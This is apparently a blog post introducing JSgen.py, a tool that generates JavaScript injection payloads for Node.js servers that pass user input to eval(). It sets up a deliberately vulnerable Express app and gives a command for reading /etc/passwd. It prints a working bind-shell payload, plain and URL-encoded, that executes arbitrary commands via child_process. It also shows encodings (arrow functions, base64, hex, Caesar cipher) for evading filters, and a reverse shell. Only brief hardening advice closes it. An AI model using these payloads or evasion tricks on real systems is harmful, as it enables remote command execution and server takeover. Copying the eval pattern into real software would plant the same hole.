I wrote a Python script (JSgen.py) to generate javascript code to be injected in case you find a Server Side Javascript Injection (SSJI). It supports both bind and reverse shells, and also two well known encodings – hex and base64 – as well as a third one – caesar’s cipher – to help in bypassing weak filters.

Before you try it, make sure you have the click module installed:

$ pip install click

 

sample


 

Just a few years ago, “server side” injections would come down to many languages (i.e. SQL, shellcode, bash/sh, ASP, PHP, etc), but definitely not javascript. So the question is: if you find yourself in a position where you can inject JS code into a server, how do you get shell access and bypass possible filters in place?

There are already some tutorials out there on how to develop different scripts (some work better than others) and put in your own IP and/or TCP port. But I couldn’t find any way to automate the code generation, and to custom encode the payload to bypass specific filters. Hence, JSgen.py .

 

eval() function

For multiple reasons, javascript’s eval() function can come in quite handy and therefore it’s used quite often. It’s important to note that, if you’re a programmer/developer, you have some details in terms of how to use eval, that are beyond the scope of this post, as it doesn’t really matter for the purposes of getting a shell. I’m referring to the fact that you should always try to use it in strict mode, and with indirect calls, to restrict its ability to read/write local variables. You can find a very good read on this at http://2ality.com/2014/01/eval.html .

 

Setting up the lab

All we need to do here is create two VMs. I used AWS Lightsail to create two Ubuntu 16.04 systems, in which one of the servers will be used for the reverse shell to connect back to (just listening with a netcat on port 80) and the other one will actually have a very small application in Node.js using Express module and eval() :

sudo apt -y update
sudo curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash –
sudo apt -y install nodejs
sudo npm install -g express
mkdir test
cd test
sudo npm -y init
sudo npm install –save express
cat <<EOF >> main.js
var express = require(‘express’);
var app = express();
app.get(‘/’, function(req, res){
var result = eval(req.query.exp)
res.send(“Result = ” + result);
});
app.listen(80);
EOF

After that, you can just run the app with:

sudo nodejs main.js # sudo because we’re binding to TCP port 80 (<1024)

 

Discovery and information gathering

The easiest way for you to detect javascript code injection via eval is for you to do some math, as in “2-1”. Don’t fall into the temptation of “1+1” because it won’t work. The reason for that is the “+” in a URL is actually decoded to the space character. So if you really want to do the “1+1”, you should inject “1%2b1”.

01
Figure 1 – 1+1 example

Now just because it’s responding with the result, it doesn’t necessarily mean it’s a javascript injection in Node.js. So to confirm it you can use a global object that provides information on the current Node.js process, called process. This object contains a number of properties and methods that will give us a lot of information regarding the Node.js process and surrounding environment/OS, like the following:

  • process.title
  • process.argv0
  • process.version
  • process.argv
  • process.arch
  • process.cwd()
  • process.pid
  • process.platform
  • process.exit(99) – Warning: it brings down the server with exit code 99.

Other global variables of interest are:

  • __filename
  • __dirname

And you can also require specific modules and call their methods:

  • var os = require(‘os’);os.hostname()
02
Figure 2 – process.title example

I’ve put all the above into a file named “list” and ran some bash code to retrieve the data:

03
Figure 3 – information gathering

Knowing that you can call modules means you can pretty much do anything with very little coding. For example, you can read and write – both wherever the user running Node.js has permissions to do so – files in the system. With the following line you can see a read of file /etc/passwd:

require(‘fs’).readFileSync(‘/etc/passwd’)

Now bear in mind that this should be URL encoded to be accepted as we want it to:

require(%27fs%27).readFileSync(%27%2Fetc%2Fpasswd%27)

04
Figure 4 – /etc/passwd display

Now, with a bit of JS magic, you can bind a shell to a port, or execute a reverse shell, as follows in the next sections.

 

Bind shell

The point here is to execute javascript that will bind to port 443 and allow us to perform an HTTP GET request with parameter “c” to the same server. This parameter will allow us to execute any command and we’ll have the HTTP response show us the result.

The code:

(function x(){require(‘http’).createServer(function(req,res){res.writeHead(200,{“Content-Type”:”text/plain”});require(‘child_process’).exec(require(‘url’).parse(req.url,true).query[‘c’],function(e,s,st){res.end(s)})}).listen(443)})()

Encoded in URL:

(function%20x()%7Brequire(%27http%27).createServer(function(req%2Cres)%7Bres.writeHead(200%2C%7B%22Content-Type%22%3A%22text%2Fplain%22%7D)%3Brequire(%27child_process%27).exec(require(%27url%27).parse(req.url%2Ctrue).query%5B%27c%27%5D%2Cfunction(e%2Cs%2Cst)%7Bres.end(s)%7D)%7D).listen(443)%7D)()

After sending it to the browser:

05
Figure 5 – bind shell injection

We can then connect to http:// … :443/?c=ps%20aux and we’ll get:

06
Figure 6 – port 443 c parameter executing

 

Filter evasion

It’s easy for a developer to look at the payloads I’m showing, and assume that a simple “function” string filter, for example, would block any shell execution attempts. So let’s find a way to code this payload without the “function” string. I actually found 3 ways to define a function without the word “function” described by Ryan Florence in the blog post Functions without “function”, and one of them is called arrow functions and if you’ve developed in Node.js and any of its modules, like Express, you’ll recognise this:

const add = (x, y) => {
return x + y
}

Inspired by the arrow functions, you can rewrite the bind shell code as:

require(‘http’).createServer((req,res)=>{res.writeHead(200,{“Content-Type”:”text/plain”});require(‘child_process’).exec(require(‘url’).parse(req.url,true).query[‘c’],(e,s,st)=>{res.end(s)})}).listen(443)

URL encoded:

require(%27http%27).createServer((req%2Cres)%3D%3E%7Bres.writeHead(200%2C%7B%22Content-Type%22%3A%22text%2Fplain%22%7D)%3Brequire(%27child_process%27).exec(require(%27url%27).parse(req.url%2Ctrue).query%5B%27c%27%5D%2C(e%2Cs%2Cst)%3D%3E%7Bres.end(s)%7D)%7D).listen(443)

Now, let’s say you find a more complex filter that filters a lot of strings (i.e. require, child_process, exec, query, etc). What can you do then? You can actually use standard encodings to hide your code. An example is Base64:

new 7
Figure 7 – JSgen.py bind -e base64 -p 443

Another example of standard encoding is hexadecimal, but I’ll show it in the reverse shell section example ahead.

So let’s now get into paranoia mode. A scenario in which all the standard encodings are blocked, for example by filtering strings such as base64, or hex, or tostring, or buffer. What can we do then?

You can come up with your own encoding! Let’s try to implement Caesar’s cipher with k=1. For anyone not familiar with this, it’s basically shifting each character 1 position to the right. For example ‘a’ would become ‘b’, and ‘b’ would become ‘c’. Typically in a caesar’s cipher, the last character ‘z’ would go around and become ‘a’, but not in this example, as the last character is actually ASCII code 255.

We’ll use JSgen.py to generate the payload:

new 8
Figure 8 – JSgen.py
08.png
Figure 9 – JSgen.py bind -e caesar -k 1

And it works exactly the same as shown in Figure 6.

 

Reverse shell

JSgen.py also generates reverse shell that connects back to a netcat listening server:

new 10
Figure 10 – reverse shell generator section in JSgen.py

When executed with the appropriate parameters, it gives you the payload:

10
Figure 11 – JSgen.py reverse -e hex -p 80 –ip <netcat server>

And after submitting the payload:

11
Figure 12 – reverse shell payload submission

You get your reverse shell:

12
Figure 13 – nc -l -p 80

 

Recommendations for developers/programmers

  • Make sure you trust the source you’re inputing into the eval function, and always perform validation on that data. If you’re expecting a number, check if it is one. If you’re expecting a city, make the user choose from a dropdown list, and verify it on the server side if it matches one of those in the list;
  • Have a firewall blocking all unused ports so attackers won’t find closed ports they can bind to. Closed ports usually means the traffic to those ports are going straight to the OS and no firewall is blocking/dropping them in between. So attackers know that if they bind a backdoor on those, they’ll be able to reach it from the outside, which is exactly what we did with the bind shell scenario;
  • Have the Node.js process executed by a low privileged user/account (i.e. www-data) that only has access to exactly what it needs to do its job, and not root as we had in the lab we set up.

 


 

If you wish to play around with it and test it, you can find the code for JSgen.py here.

Thanks for reading!